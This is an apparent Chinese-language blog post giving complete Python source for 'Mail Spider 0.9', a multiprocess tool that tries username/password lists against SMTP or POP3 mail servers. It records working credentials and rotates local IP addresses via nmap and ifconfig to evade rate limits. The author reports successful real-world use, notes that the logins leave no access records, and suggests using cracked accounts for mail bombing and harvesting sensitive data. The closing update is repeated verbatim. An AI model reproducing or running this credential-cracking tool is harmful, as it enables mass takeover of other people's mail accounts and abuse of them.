重构了一下,加入多进程模型(使用multiprocessing模块).代码复用和函数封装还是存在一点不足,所以定为version 0.9版.高手请略过^_^
首先是配置文件:config (没有后缀名),接下来是py脚本.
#####################################################
# #
# Config file of Mail Spider #
# #
#####################################################
#
# file of (username, password) data
#
MAIL_DATABASE=mail_database.txt
#
# seperator using for (username, password) in MAIL_DATABASE
# ex. gaara 123456 => seperator is " " (default)
# gaara#123456 => seperator is "#"
# gaara => username, 123456 => password
#
SEPERATOR=
#
# file of results, for store output
#
RESULT_DATABASE=results_database.txt
#
# number of subprocess
#
PROCESS_NUMBER=5
#
# authenticate method: SMTP or POP3
# POP3 is slower than SMTP(default)
#
AUTH_METHOD=SMTP
#
# mail server domain, according to authenticate method
# ex. smtp.gaara.com or pop3.gaara.com
#
MAIL_SERVER=smtp.gaara.com
#
# auto switch IP: ON or OFF
# OFF is default, CERNET can set to ON
#
AUTO_SWITCH_IP=ON
#
# network interface for changing IP
# ex. eth0 or wlan0
#
NETWORK_INTERFACE=eth0
#
# local IP auto detect: ON or OFF
# remember to setup IP_ADDRESS option
#
AUTO_IP=ON
#
# local gateway auto detect: ON or OFF
# remember to setup GATEWAY_ADDRESS option
#
AUTO_GATEWAY=ON
#
# IP address if AUTO_IP=OFF
# ex. 192.168.1.1
#
IP_ADDRESS=192.168.1.1
#
# gateway address if AUTO_GATEWAY=OFF
# ex. 192.168.1.1
#
GATEWAY_ADDRESS=192.168.1.254
'''
@file: Config.py
@auth: GaA.Ra
@date: 2012.3.12
@ver: Python3.2
for linux only
'''
from TextUI import PrintInfo
from TextUI import PrintStatus
from TextUI import PrintError
from TextUI import PrintWarning
import re
import os
import socket
from os.path import isfile
def GetConfig():
''' get config contents, return in list '''
try:
workingPath = os.getcwd()
configPath = "%s/config" % (workingPath)
if isfile(configPath) != True:
PrintError("Config file missing!")
else:
config = open(configPath, "r").readlines()
return config
except:
PrintError("GetConfig() Error!")
return None
def GetConfigContent(Config, Param):
try:
Param = Param + '='
for line in Config:
line = line.rstrip()
match = re.search(Param, line)
if match:
line = line.replace(Param, "")
content = line.rstrip()
return content
except:
PrintError("GetConfigContent(): %s Error!" % (Param))
return None
def GetMailDataBase(Config):
return GetConfigContent(Config, "MAIL_DATABASE")
def GetSeperator(Config):
seperator = GetConfigContent(Config, "SEPERATOR")
if len(seperator) == 0:
# set seperator to default
seperator = " "
return seperator
def GetResultDataBase(Config):
return GetConfigContent(Config, "RESULT_DATABASE")
def GetProcessNumber(Config):
return int(GetConfigContent(Config, "PROCESS_NUMBER"))
def GetAuthMethod(Config):
return GetConfigContent(Config, "AUTH_METHOD")
def GetMailServer(Config):
return GetConfigContent(Config, "MAIL_SERVER")
def GetAutoSwitchIP(Config):
auto = GetConfigContent(Config, "AUTO_SWITCH_IP")
if auto == "ON":
return True
elif auto == "OFF":
return False
else:
PrintError("AUTO_SWITCH_IP Config Error, only allow ON or OFF")
return False
def GetNetInterface(Config):
return GetConfigContent(Config, "NETWORK_INTERFACE")
def GetLocalIP():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('baidu.com', 0))
s.settimeout(2)
return s.getsockname()[0]
except:
PrintError("GetLocalIP() Error!")
return None
def ValidIPAddress(IPAddress):
if IPAddress == None:
return False
pattern = re.compile(r"""
^
(?:
# Dotted variants:
(?:
# Decimal 1-255 (no leading 0's)
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's)
|
0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's)
)
(?: # Repeat 0-3 times, separated by a dot
\.
(?:
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2}
|
0+[1-3]?[0-7]{0,2}
)
){0,3}
|
0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff
|
0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777
|
# Decimal notation, 1-4294967295:
429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}|
42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}|
4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8}
)
$
""", re.VERBOSE | re.IGNORECASE)
return pattern.match(IPAddress) is not None
def GetIPAddress(Config):
auto = GetConfigContent(Config, "AUTO_IP")
ipAddress = None
if auto == "ON":
ipAddress = GetLocalIP()
elif auto == "OFF":
ipAddress = GetConfigContent(Config, "IP_ADDRESS")
if ValidIPAddress(ipAddress) == False:
PrintError("IP address is not VALID!")
ipAddress = None
else:
PrintError("AUTO_IP Config Error, only allow ON or OFF")
try:
if ipAddress == None:
PrintInfo("Please input your IP address(like 192.168.1.1):")
print(" ", end = "")
while True:
ipAddress = input()
if ValidIPAddress(ipAddress):
return ipAddress
else:
PrintError("IP address is not VALID!")
PrintInfo("Please input your IP address(like 192.168.1.1):")
print(" ", end = "")
continue
else:
return ipAddress
except:
PrintError("GetIPAddress() Error!")
return None
def GetLocalGateway():
ret = os.system("route | grep UG | cut -c 17-32 > gateway.conf")
if ret != 0:
PrintError("GetLocalGateway() Error!")
return None
else:
file = open("gateway.conf", "r")
gateway = file.readline().strip()
file.close()
os.system("rm gateway.conf")
return gateway
def GetGateway(Config):
auto = GetConfigContent(Config, "AUTO_GATEWAY")
gateway = None
if auto == "ON":
gateway = GetLocalGateway()
elif auto == "OFF":
gateway = GetConfigContent(Config, "GATEWAY_ADDRESS")
if ValidIPAddress(gateway) == False:
PrintError("gateway address is not VALID!")
gateway = None
else:
PrintError("AUTO_GATEWAY Config Error, only allow ON or OFF")
try:
if gateway == None:
PrintInfo("Please input your gateway address(like 192.168.1.1):")
print(" ", end = "")
while True:
gateway = input()
if ValidIPAddress(gateway):
return gateway
else:
PrintError("gateway address is not VALID!")
PrintInfo("Please input your gateway address(like 192.168.1.1):")
print(" ", end = "")
continue
else:
return gateway
except:
PrintError("GetGateway() Error!")
return None
if __name__ == "__main__":
config = GetConfig()
print(GetMailDataBase(config))
print(GetSeperator(config))
print(GetResultDataBase(config))
print(GetAuthMethod(config))
print(GetMailServer(config))
print(GetAutoSwitchIP(config))
print(GetNetInterface(config))
print(GetIPAddress(config))
print(GetGateway(config))
'''
@file: TextUI.py
@auth: GaA.Ra
@date: 2012.3.12
@ver: Python3.2
for linux only
'''
class TextColors:
''' set the console text color '''
GRAY = '\033[90m'
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
PURPLE = '\033[95m'
CYAN = '\033[96m'
LIGTHWHITE = '\033[97m'
BLACK = '\033[30m'
DARKRED = '\033[31m'
DARKGREEN = '\033[32m'
DARKYELLOW = '\033[33m'
DARKBLUE = '\033[34m'
DARKPURPLE = '\033[35m'
DARKCYAN = '\033[36m'
WHITE = '\033[37m'
BOLD = '\033[1m'
UNDERL = '\033[4m'
ENDC = '\033[0m'
backBlack = '\033[40m'
backRed = '\033[41m'
backGreen = '\033[42m'
backYellow = '\033[43m'
backBlue = '\033[44m'
backMagenta = '\033[45m'
backCyan = '\033[46m'
backWhite = '\033[47m'
def disable(self):
self.GRAY = ''
self.RED = ''
self.GREEN = ''
self.YELLOW = ''
self.BLUE = ''
self.PURPLE = ''
self.CYAN = ''
self.LIGHTWHITE = ''
self.BLACK = ''
self.DARKRED = ''
self.DARKGREEN = ''
self.DARKYELLOW = ''
self.DARKBLUE = ''
self.DARKPURPLE = ''
self.DARKCYAN = ''
self.WHITE = ''
self.ENDC = ''
self.BOLD = ''
self.UNDERL = ''
self.backBlack = ''
self.backRed = ''
self.backGreen = ''
self.backYellow = ''
self.backBlue = ''
self.backMagenta = ''
self.backCyan = ''
self.backWhite = ''
def PrintInfo(Message):
''' display normal message '''
print(TextColors.BLUE + TextColors.BOLD + ' [*] ' + TextColors.ENDC +
TextColors.BOLD + str(Message) + TextColors.ENDC)
def PrintStatus(Message):
''' display successful message '''
print(TextColors.DARKCYAN + TextColors.BOLD + ' [*] ' + TextColors.ENDC +
TextColors.BOLD + str(Message) + TextColors.ENDC)
def PrintError(Message):
''' display failure message '''
print(TextColors.RED + TextColors.BOLD + ' [-] ' + TextColors.ENDC +
TextColors.BOLD + str(Message) + TextColors.ENDC)
def PrintWarning(Message):
''' display warning message '''
print(TextColors.YELLOW + TextColors.BOLD + ' [!] ' + TextColors.ENDC +
TextColors.BOLD + str(Message) + TextColors.ENDC)
def PrintBanner():
print(TextColors.BOLD + "+--------------------------------------------------------------+" + TextColors.ENDC)
print(TextColors.BOLD + "| |" + TextColors.ENDC)
print(TextColors.BOLD + "| Mail Spider 0.9 |" + TextColors.ENDC)
print(TextColors.BOLD + "| GaA.Ra |" + TextColors.ENDC)
print(TextColors.BOLD + "| zhoufan (at) yahoo.cn |" + TextColors.ENDC)
print(TextColors.BOLD + "| |" + TextColors.ENDC)
print(TextColors.BOLD + "+--------------------------------------------------------------+" + TextColors.ENDC)
'''
@file: IPSwitch.py
@auth: GaA.Ra
@date: 2012.3.12
@ver: Python3.2
for linux only
'''
from TextUI import PrintInfo
from TextUI import PrintStatus
from TextUI import PrintError
from TextUI import PrintWarning
import os
# for network mask 255.255.255.0
def GetIPList(IPAddress):
PrintStatus("Now getting IPList, need a few second...")
ret = os.system("nmap -sP " + IPAddress.strip() + "/24 | grep report > IPList")
if ret != 0:
PrintError("GetIPList() Error! Check your nmap first!")
return None
resultSet = set()
IPList = []
try:
resultFile = open("IPList", "r")
for line in resultFile:
line = line.rstrip()
line = line.split(' ')[-1]
line = line.split('.')[-1]
resultSet.add(line)
resultFile.close()
os.system("rm IPList")
except:
PrintError("GetIPList() Error! file IPList!")
return None
for i in range(1, 255):
i = str(i)
if i not in resultSet:
i = IPAddress[0:IPAddress.rfind('.') + 1] + i
IPList.append(i)
return IPList
def IsIPUsable(IPAddress):
ret = os.system("nmap -sP " + IPAddress.strip() + " | grep 'Host is up' > /dev/null")
return ret != 0
# Index using list like [0], so it can be self-modify
def GetIPFromList(IPList, Index):
try:
ipAddress = IPList[Index[0]]
while IsIPUsable(ipAddress) != True:
PrintInfo("%s is now using, will get another one!" % (ipAddress))
Index[0] += 1
ipAddress = IPList[Index[0]]
Index[0] += 1
return ipAddress
except IndexError:
PrintError("Out of IP!")
return None
def SwitchIP(IPAddress, Gateway, Interface):
PrintStatus("Now changing IP, need a few second...")
try:
ret1 = os.system("ifconfig " + Interface.strip() + " down")
ret2 = os.system("ifconfig " + Interface.strip() + " "
+ IPAddress.strip() + " netmask 255.255.255.0 up")
ret3 = os.system("route add default gw " + Gateway.strip())
if ret1 != 0 or ret2 != 0 or ret3 != 0:
PrintError("SwitchIP() Error! False to change IP!")
return False
else:
PrintStatus("IP now change to %s" % (IPAddress))
return True
except AttributeError:
PrintError("Please check your parameter! False to change IP!")
return False
if __name__ == "__main__":
ipAddress = "192.168.29.134"
gateway = "192.168.29.2"
interface = "eth0"
index = [0]
IPList = GetIPList(ipAddress)
for line in IPList:
PrintStatus(line)
newIPAddress = GetIPFromList(IPList, index)
PrintStatus("%d - %s" % ((index[0] - 1), newIPAddress))
newIPAddress = GetIPFromList(IPList, index)
PrintStatus("%d - %s" % ((index[0] - 1), newIPAddress))
SwitchIP(newIPAddress, gateway, interface)
'''
@file: MailSpider.py
@auth: GaA.Ra
@date: 2012.3.12
@ver: Python3.2
for linux only, BackTrack5 best
'''
from TextUI import *
from Config import *
from IPSwitch import *
from multiprocessing import Value
from multiprocessing import Array
from multiprocessing import Process
from multiprocessing import Manager
from multiprocessing import Lock
import smtplib
from smtplib import SMTP
from smtplib import SMTPAuthenticationError as AuthError
from smtplib import SMTPConnectError as ConnError
from poplib import POP3
from poplib import error_proto as Pop3Error
from time import sleep
def MailSpiderSMTP(ProcessIndex, MailServer, AcountList, AcountListIndex,
ResultFile, ResultFileLock, RecoverIndex, Seperator):
resultList = []
if RecoverIndex[ProcessIndex] != 0:
recoverListIndexBegin = RecoverIndex[ProcessIndex]
recoverListIndexEnd = ((recoverListIndexBegin // 10) + 1) * 10
acountList = []
for i in range(recoverListIndexBegin, recoverListIndexEnd):
acountData = AcountList[i]
try:
acountData = acountData.decode().strip()
except UnicodeDecodeError:
acountData = "GaA.Ra GaA.Ra GaA.Ra@gaara.com"
acountList.append(acountData)
for i in range(0, len(acountList)):
acountData = acountList[i].split(Seperator)
username = acountData[0]
password = acountData[1]
try:
mailServer = SMTP(MailServer)
mailServer.login(username, password)
PrintStatus("Process%d - Username: %-20s Password: %-20s --> Success!" % (ProcessIndex, username, password))
mailServer.quit()
resultList.append(acountList[i])
if len(resultList) == 10:
with ResultFileLock:
for idx in range(10):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
resultList = []
PrintStatus("Process%2d - Write Result to file" % (ProcessIndex))
except AuthError:
PrintError("Process%d - Username: %-20s Password: %-20s" % (ProcessIndex, username, password))
mailServer.quit()
except ConnError:
with ResultFileLock:
for idx in range(len(resultList)):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
RecoverIndex[ProcessIndex] = recoverListIndexBegin + i
PrintStatus("Process%d exiting... wait for switching IP or Sleep 1.5 hours!" % (ProcessIndex))
return
while True:
acountList = []
acountListIndex = AcountListIndex.value
AcountListIndex.value += 10
# get 10 acount data per time
for i in range(10):
acountData = AcountList[acountListIndex + i]
try:
acountData = acountData.decode().strip()
except UnicodeDecodeError:
acountdata = "GaA.Ra GaA.Ra GaA.Ra@gaara.com"
acountList.append(acountData)
for i in range(0, 10):
acountData = acountList[i].split(Seperator)
username = acountData[0]
password = acountData[1]
try:
mailServer = SMTP(MailServer)
mailServer.login(username, password)
PrintStatus("Process%d - Username: %-20s Password: %-20s --> Success!" %
(ProcessIndex, username, password))
mailServer.quit()
resultList.append(acountList[i])
if len(resultList) == 10:
with ResultFileLock:
for idx in range(10):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
resultList = []
PrintStatus("Process%2d - Write Result to file" % (ProcessIndex))
except AuthError:
PrintError("Process%d - Username: %-20s Password: %-20s" % (ProcessIndex, username, password))
mailServer.quit()
except ConnError:
with ResultFileLock:
for idx in range(len(resultList)):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
PrintStatus("Process%d exiting... wait for switching IP or Sleep 1.5 hours!" % (ProcessIndex))
RecoverIndex[ProcessIndex] = acountListIndex + i
return
def MailSpiderPOP3(ProcessIndex, MailServer, AcountList, AcountListIndex,
ResultFile, ResultFileLock, RecoverIndex, Seperator):
resultList = []
if RecoverIndex[ProcessIndex] != 0:
PrintStatus("Recovering after IP Switch...")
recoverListIndexBegin = RecoverIndex[ProcessIndex]
recoverListIndexEnd = ((recoverListIndexBegin // 10) + 1) * 10
acountList = []
for i in range(recoverListIndexBegin, recoverListIndexEnd):
acountData = AcountList[i]
try:
acountData = acountData.decode().strip()
except UnicodeDecodeError:
acountData = "GaA.Ra GaA.Ra GaA.Ra@gaara.com"
acountList.append(acountData)
for i in range(0, len(acountList)):
acountData = acountList[i].split(Seperator)
username = acountData[0]
password = acountData[1]
try:
mailServer = POP3(MailServer)
mailServer.user(username)
mailServer._putcmd("PASS " + password)
mailServer._getresp()
PrintStatus("Process%d - Username: %-20s Password: %-20s --> Success!" % (ProcessIndex, username, password))
mailServer.quit()
resultList.append(acountList[i])
if len(resultList) == 10:
with ResultFileLock:
for idx in range(10):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
resultList = []
PrintStatus("Process%2d - Write Result to file" % (ProcessIndex))
except Pop3Error:
PrintError("Process%d - Username: %-20s Password: %-20s" % (ProcessIndex, username, password))
mailServer.quit()
except:
with ResultFileLock:
for idx in range(len(resultList)):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
RecoverIndex[ProcessIndex] = recoverListIndexBegin + i
PrintStatus("Process%d exiting... wait for switching IP or Sleep 1.5 hours!" % (ProcessIndex))
return
while True:
acountList = []
acountListIndex = AcountListIndex.value
AcountListIndex.value += 10
# get 10 acount data per time
for i in range(10):
acountData = AcountList[acountListIndex + i]
try:
acountData = acountData.decode().strip()
except UnicodeDecodeError:
acountdata = "GaA.Ra GaA.Ra GaA.Ra@gaara.com"
acountList.append(acountData)
for i in range(0, 10):
acountData = acountList[i].split(Seperator)
username = acountData[0]
password = acountData[1]
try:
mailServer = POP3(MailServer)
mailServer.user(username)
mailServer._putcmd("PASS " + password)
mailServer._getresp()
PrintStatus("Process%d - Username: %-20s Password: %-20s --> Success!" %
(ProcessIndex, username, password))
mailServer.quit()
resultList.append(acountList[i])
if len(resultList) == 10:
with ResultFileLock:
for idx in range(10):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
resultList = []
PrintStatus("Process%2d - Write Result to file" % (ProcessIndex))
except Pop3Error:
PrintError("Process%d - Username: %-20s Password: %-20s" % (ProcessIndex, username, password))
mailServer.quit()
except:
with ResultFileLock:
for idx in range(len(resultList)):
print("%s" % (resultList[idx]), file = ResultFile)
ResultFile.flush()
RecoverIndex[ProcessIndex] = acountListIndex + i
PrintStatus("Process%d exiting... wait for switching IP or Sleep 1.5 hours!" % (ProcessIndex))
return
if __name__ == "__main__":
PrintBanner()
#
# do some init work
#
g_Config = GetConfig()
g_MailDataBase = GetMailDataBase(g_Config)
g_Seperator = GetSeperator(g_Config)
g_ResultDataBase = GetResultDataBase(g_Config)
g_ProcessNumber = GetProcessNumber(g_Config)
g_AuthMethod = GetAuthMethod(g_Config)
g_MailServer = GetMailServer(g_Config)
g_AutoSwitchIP = GetAutoSwitchIP(g_Config)
if g_AutoSwitchIP == True:
g_NetInterface = GetNetInterface(g_Config)
g_IPAddress = GetIPAddress(g_Config)
g_Gateway = GetGateway(g_Config)
g_IPList = GetIPList(g_IPAddress)
g_IPListIndex = [0] # is a list
PrintStatus("Getting acount list, need a few second...")
g_Manager = Manager()
g_AcountList = g_Manager.list(open(g_MailDataBase, "rb").readlines())
g_AcountListIndex = Value('i', 0)
g_ResultFileLock = Lock()
g_RecoverIndex = Array('i', [0 for i in range(g_ProcessNumber)])
g_ResultFile = open(g_ResultDataBase ,'a')
if g_AuthMethod == "POP3":
MailSpider = MailSpiderPOP3
else:
MailSpider = MailSpiderSMTP
try:
while True:
processList = []
for i in range(g_ProcessNumber):
p = Process(target = MailSpider, args = (i, g_MailServer, g_AcountList,
g_AcountListIndex, g_ResultFile, g_ResultFileLock, g_RecoverIndex, g_Seperator))
processList.append(p)
for i in range(g_ProcessNumber):
processList[i].start()
for i in range(g_ProcessNumber):
processList[i].join()
if g_AutoSwitchIP == True:
ipAddress = GetIPFromList(g_IPList, g_IPListIndex)
SwitchIP(ipAddress, g_Gateway, g_NetInterface)
else:
sleep(60 * 60 * 1.5) # sleep 1.5 hours
except KeyboardInterrupt:
PrintWarning("Catch Ctrl+C, all subprocess will be forced to terminate...")
for i in range(g_ProcessNumber):
processList[i].terminate()
PrintStatus("MailSpider Exiting...")
我测试IP切换是没问题的,恢复运行也能正常工作.明天去实验室实际测试一下,嘿嘿.
附运行图(测试IP切换时)一张:

末尾的吐槽: 后天腾讯微信面试,求人品!
update一下:
实际环境中也测试成功,相比单进程的0.1版本,速度提升不止10倍,从IP的切换频率来说快了很多,感觉某数字邮箱服务器除了对IP进行记录链接次数之外,时间应该也是一个判断的因素,短时间内大量的连接会让服务器更早的觉察到Mail Spider的存在,相对于0.1版本时候的700+次尝试,0.9版本目测到了450+次尝试就要切换一次IP。
另外说明一下,并非所有的服务器都能这样测试,某些服务器默认没有开启SMTP和POP3,并且出于安全考虑会不进行出错提示而是让连接超时而中止,这样的话并发数相对提高一些不浪费超时等待的时间都是可以的。默认不开启SMTP和POP3是安全一点。
POP3的验证方式真的很惨不忍睹,等待连接的时间实在太久,本来没想加的,但是我的0.05版本(尼玛的小数点后精确到两位阿有木有)就是用POP3做的,算是丰富一下吧。SMTP邪恶的利用是邮箱炸弹,都是合法邮箱,一个帐号给你发10封邮件你就删到手软了。POP3可以用来收集敏感数据,不过会涉及MIME相关的东西。
使用协议直接进行验证不会留下访问记录(大部分邮箱都有最近登录IP的记录),起码对某数字邮箱不会。更高级的做法是模拟web登录来进行尝试,但是相应的麻烦程度会提升很多,https和页面的解析,模拟发送请求等等。
末尾的再次吐槽:明天面试求人品>_<
update一下:
实际环境中也测试成功,相比单进程的0.1版本,速度提升不止10倍,从IP的切换频率来说快了很多,感觉某数字邮箱服务器除了对IP进行记录链接次数之外,时间应该也是一个判断的因素,短时间内大量的连接会让服务器更早的觉察到Mail Spider的存在,相对于0.1版本时候的700+次尝试,0.9版本目测到了450+次尝试就要切换一次IP。
另外说明一下,并非所有的服务器都能这样测试,某些服务器默认没有开启SMTP和POP3,并且出于安全考虑会不进行出错提示而是让连接超时而中止,这样的话并发数相对提高一些不浪费超时等待的时间都是可以的。默认不开启SMTP和POP3是安全一点。
POP3的验证方式真的很惨不忍睹,等待连接的时间实在太久,本来没想加的,但是我的0.05版本(尼玛的小数点后精确到两位阿有木有)就是用POP3做的,算是丰富一下吧。SMTP邪恶的利用是邮箱炸弹,都是合法邮箱,一个帐号给你发10封邮件你就删到手软了。POP3可以用来收集敏感数据,不过会涉及MIME相关的东西。
使用协议直接进行验证不会留下访问记录(大部分邮箱都有最近登录IP的记录),起码对某数字邮箱不会。更高级的做法是模拟web登录来进行尝试,但是相应的麻烦程度会提升很多,https和页面的解析,模拟发送请求等等。
末尾的再次吐槽:明天面试求人品>_<